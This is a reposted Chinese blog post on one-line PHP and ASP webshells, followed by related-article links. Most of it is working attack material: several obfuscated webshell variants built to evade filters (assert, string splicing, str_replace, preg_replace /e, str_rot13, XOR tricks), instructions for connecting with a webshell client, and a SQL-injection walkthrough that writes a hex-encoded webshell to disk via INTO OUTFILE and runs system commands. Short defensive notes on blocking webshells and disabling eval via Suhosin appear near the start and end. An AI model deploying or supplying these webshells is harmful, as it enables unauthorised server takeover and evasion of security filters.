常见的一句话muma
一句话******原理
<%execute request(“#”)%>是典型的一句话***服务端代码,将这个代码写入asp文件,就成了一句话***服务端文件。
仔细观察一下<%execute request(“#”)%>这句代码,括号里的“#”是我们一句话的密码,我们可以把它改成任意字符,这样可以避免别人发现我们的一句话***后,轻松的通过它捡个大便宜,如果我们上传的一句话代码为<%execute request(“123456″)%>。那么在客户端连接文件里要将textarea name=”#”将其改为对应的textarea name=“123456”,才能连接成功。
一句话***工作的原理:
将一句话***插入到asp文件中(包括asa.cdx.cer文件),该语句将会作为触发,接收***者通过客户端提交的数据,执行并完成相应的***操作。
客户端则用来向服务端提交控制数据,提交的数据通过服务端构成完整的asp功能语句并执行,也就是生成我们所需要的asp***文件。
一句话***能连接成功有两个前提条件:
一、服务器端没有禁止Adodb.Stream组件,因为我们使用一句话***写入WebShell代码的条件是服务器端创建Adodb.Stream组件,如果该组件被禁用的话无法写入。
二、权限问题,如果当前的虚拟目录禁止user组或者everyone写入,同样不会成功。
如何启用“一句话”***拦截功能?
(1)在服务器 wzxStopKeyWord.ini 文件中,设置 blockmuma = 1 表示启用此功能,拦截“一句话”***。
(2)重启IIS即可生效。
一.eval
eval用法:
eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
1 <?phpeval($_POST[password]);?>
二.assert
Assert用法:
assert这个函数在php语言中是用来判断一个表达式是否成立。返回true or false;
这跟eval()类似。不过eval($code_str)只是执行符合php编码规范的,assert的用法却更详细一点 。
assert_option()可以用来对assert()进行一些约束和控制
默认值:
1 2 3 4 5 ASSERT_ACTIVE=1//Assert函数的开关 ASSERT_WARNING=1//当表达式为false时,是否要输出警告性的错误提示,issue a PHP warning for each failed assertion ASSERT_BAIL=0//是否要中止运行;terminate execution on failed assertions ASSERT_QUIET_EVAL=0//是否关闭错误提示,在执行表达式时;disable error_reporting during assertion expression evaluation ASSERT_CALLBACK=(NULL)// 是否启动回调函数 user function to call on failed assertions
可以通过以上方法修改assert后门,达到绕过正则:
1 <?phpassert($_POST[password]);?>
三.变形一句话:
1 <?php$_GET['xxoo']($_POST['cmd']);?>
客户端用菜刀,密码cmd,url为test.php?xxoo=assert
1 <?php$_POST['xxoo']($_POST['cmd']);?>
这个是直接发post数据包就OK。
1 2 3 4 5 6 7 <?php $a=“a”.”s”.”s”.”e”.”r”.”t”; $a($_POST["cmd"]); ?>
1 <?php($_=@$_GET[password]).@$_($_POST[xxoo])?>
利用方法:http://localhost/password.php?password=asstrt
原理就是get传递参数assert然后形成@asserT@($_($_POST[xxoo])
1 <?php$_POST['password']($_POST['cmd']);?
提交post内容形成assert,eval。
四.通过str_replace替换
$a = str_replace(x,””,”axsxxsxexrxxt”)
最后要形成的是$a = assert
五.
1 2 3 <?php @preg_replace(“/[email]/e”,$_POST['h'],”error”); ?>
谈谈这个后门吧,这个是用e修饰符,只需要e所在的位置跟最后的”error”正则匹配正确就会$_POST[‘h’]的内容。
那么我们只需要用菜刀<O>h=@assert($_POST[c]);</O>就可以,让h参数执行。
六.
1 2 3 4 5 6 7 <?php $_=""; $_[+""]=''; $_="$_".""; $_=($_[+""]|"").($_[+""]|"").($_[+""]^""); ?> <?php${'_'.$_}['_'](${'_'.$_}['__']);?>
菜刀里写:http://localhost/2.php?_=assert&__=eval($_POST[‘xxoo’])
密码:xxoo
原理分析你只需要让$_拼接打印即可。
七.
1 2 3 <?php ($b4dboy=$_POST['1'])&&@preg_replace(‘/ad/e,,'@,.str_rot13(‘riny,).,($b4dboy)','add'); ?>
‘@’.str_rot13(‘riny’)相当于@eval,然后你懂的。
其实大都数原理都是如此,加了变形,解析后依然是原装语句eval,assert。
在这里顺便讲一下SQL注入中写一句话拿webshell的原理,主要使用的是 SELECT ... INTO OUTFILE 这个语句,下面是一个语句的例子:
SELECT * INTO OUTFILE 'C:\log1.txt'
这样就可以把查询到的数据写入到C盘的log1.txt这个文件里面。利用这个原理我们可以把PHP的一句话***写到磁盘上从而拿到webshell。
本地的目标站点来实战一下,我们的目的是在目标的物理路径D:/WWW/下面生成一个php文件,从而可以使我们用菜刀连接上去
先简单的判断是否存在注入漏洞利用, 使用单引号'报错, 然后是and 1=1 页面正常 和 and 1=2 页面不正常判断存在sql注入漏洞,现在猜测一下字段数量。
在order by 3的时候会出现错误,2的时候正确于是猜测字段2,现在我们通过union查询语句查询一下当前的用户是谁。
猜测可能是file权限,试试写一下***到网站路径,***一定要写16进制。下面我们的一句话是 <?php eval($_POST[ximo]); ?>的16进制
然后菜刀连接即可成功(如有不懂可以联系本人,本人将会将最详细的指导你,仅限妹子)
eval函数简介与PHP一句话***剖析
一:eval函数
1.eval() 函数把字符串按照 PHP 代码来计算。
2.该字符串必须是合法的 PHP 代码,且必须以分号结尾。
3.如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
二:eval函数的一般用法
<?php
$string = "beautiful";
$time = "winter";
$str = 'This is a $string $time morning!';
echo $str. "<br />";
eval("\$str = \"$str\";");
echo $str;
?>
输出
This is a $string $time morning!
This is a beautiful winter morning!
三:eval函数的特殊用法
eval($_GET["cmd"]);
四:php一句话挂马的原理
1.通过数据库写马:
select "<?php eval($_GET['cmd'])'?>" into outfile "D:\\phpStudy\\WWW\\bb.php",不过这个命令是DB和web在同一台机器的时候可以这样执行
2.通过web写马
<?php
eval($_GET["cmd"]);
?>
访问:
http://localhost/aa.php?cmd=fwrite(fopen("aa.txt", "w"),"hello,world!");
查看php的shell信息:
http://localhost/aa.php?cmd=phpinfo();
查看当前运行的服务
http://localhost/aa.php?cmd=system("net start");
五:禁用eval函数
无论是linux服务器还是windows服务器,eval命令是非常危险的
如何禁用eval命令
在php.ini中这样设置disable_functions =eval是无法禁用eval的,根据php手册说明,eval是一个语言构造器而不是一个函数。如果要禁用eval,则需要第三方扩展,使用Suhosin
linux下安装:
php的安装就不写了
suhosin的安装
wget http://download.suhosin.org/suhosin-0.9.23.tgz
tar zxvf suhosin-0.9.23.tgz
cd suhosin-0.9.23
/usr/local/php/bin/phpize //这一步不能省
./configure --with-php-config=/usr/local/php/bin/php-config //必须在这儿注明php-config所在的绝对路径。
make && make install
Installing shared extensions: /usr/local/php/lib/php/extensions/no-debug-non-zts-20060613/
然后在php.ini中增加一行下列语句。
extension=suhosin.so
suhosin.executor.disable_eval = on
像以上的一句话***都是比较常见的类型,希望各位补充,也方便大家互相学习互相进步,共同在网络上实现自己的梦想
转载于:https://blog.51cto.com/superwolf/1916324
常见的一句话muma相关推荐
- php一句话利用,常见php一句话webshell解析
我理解的 webshell 是在服务器上以 web server application (比如apache,iis或者nginx)的权限进行远程任意代码执行的工具.当然通过一些手段也可能可以进行提权 ...
- Web安全:一句话木马
概述 在很多的渗透过程中,渗透人员会上传一句话木马(简称Webshell)到目前web服务目录继而提权获取系统权限,不论asp.php.jsp.aspx都是如此,那么一句话木马到底是什么呢? 先来看看 ...
- Web安全!!!一句话木马
概述 在很多的渗透过程中,渗透人员会上传一句话木马(简称Webshell)到目前web服务目录继而提权获取系统权限,不论asp.php.jsp.aspx都是如此,那么一句话木马到底是什么呢? 先来看看 ...
- Web安全-一句话木马
概述 在很多的渗透过程中,渗透人员会上传一句话木马(简称Webshell)到目前web服务目录继而提权获取系统权限,不论asp.php.jsp.aspx都是如此,那么一句话木马到底是什么呢? 先来看看 ...
- php一句话图片木马过滤_php一句话图片木马怎么解析
一句话木马解析 首先,学习渗透时,木马大概也就三种:大马.小马.一句话. 常见的一句话:<?php @eval($_POST['x'])?> 这个应该是最常见的了...看一下他的组成. 首 ...
- eval函数 php_PHP的一句话木马代码和函数eval的简介
大清早的刚从床上爬起来.雨落就跑来找我问我这段代码是什么意思<?php @eval($_POST[pp]);?>看了一下,post接收pp的值,抑制错误输出.呵呵开个玩笑,其实不是这么简单 ...
- 一句话木马的工作原理
一句话木马的工作原理:一句话木马分析服务端与客户端. "一句话木马"服务端(是用于本地的html提交脚本木马文件) 就是我们要用来插入到asp文件中的asp语句,(不仅仅是以asp ...
- 你真的了解一句话木马吗?
目录 一.前言: 二.什么是一句话木马: 三.常见的一句话木马: 木马讲解: 1.$_POST[cmd] 2.eval() 3."@" 4.脉络梳理 四.可用于条件竞争的一句话木马 ...
- php eval一句话木马干啥的,php eval函数一句话木马代码
php eval函数一句话木马代码 这个是php常见的一句话木马的源码,通过post木马程序来实现木马的植入,eval()函数把字符串按照PHP代码来计算.该字符串必须是合法的PHP代码,且必须以分号 ...
- 科迅免杀php一句话_谈谈php一句话木马的免杀
文章最后更新时间为:2019年07月05日 00:17:52 一句话木马叱咤江湖这么多年还是如此活跃,我个人理解是,方便,相比于二进制后门或者大马,一句话木马足够短,容易上传,并且有众多客户端,菜刀, ...
最新文章
- zoj 1204 Additive equations
- [分享]极富挑战性的大公司面试的智力题
- 子查询dinstinct放哪_第四关 复杂查询
- Spring-Cloud 整合Nacos
- kudu 存储引擎简析
- centos重新安装yum
- 信号调制疑问_DSM 调制器simulink仿真分析
- Hbase JMX 监控 - Region
- java long.max_value,Long + Long不大于Long.MAX_VALUE
- 使用宽度优先搜索的常见场景
- java 引用类快捷键_Java数据类型及其转换经常用到的快捷键
- linux查看文件第三行,学习linux第三课!新手必须掌握的linux命令
- era5数据内容说明_接口测试:A04_HttpRunner通用_02_提取数据_01_extract关键字
- 一个好的测试工程师的简历到底是怎么写的
- 企业网络安全最常遇到的安全问题是什么,主要面临哪些威胁?
- 计算机桌面窗口背景原始设置,如何设置和更改桌面背景? -电脑资料
- PMP项目管理的就业前景
- 计算机专业29岁博士毕业,已经29岁了想去读博士晚不晚?
- 数据库三级填空题(应用题)常考总结
- 如何解决登录遇到Oops!Account deactivated错误
热门文章
- document.getelementbyid是什么意思
- JS中点语法和中括号语法区别
- 上twitter_如何在Twitter上阻止某人
- 聊聊千古名方逍遥丸【转载】
- 【Python】Time模块 ValueError: unconverted data remains: UnicodeEncodeError:
- 几个国内的 apple 相关社区
- 【软件工程导论】习题集
- Android 蓝牙HOGP协议(基于ble-gatt蓝牙)连接流程分析--framework-jni-btif-bta-btm-hci -- 全网最详细(二)
- 简单的三点式腰背肌锻炼方法
- vb 复制 剪贴板 html,VB.NET中调用系统的剪贴板完成数据的复制和粘贴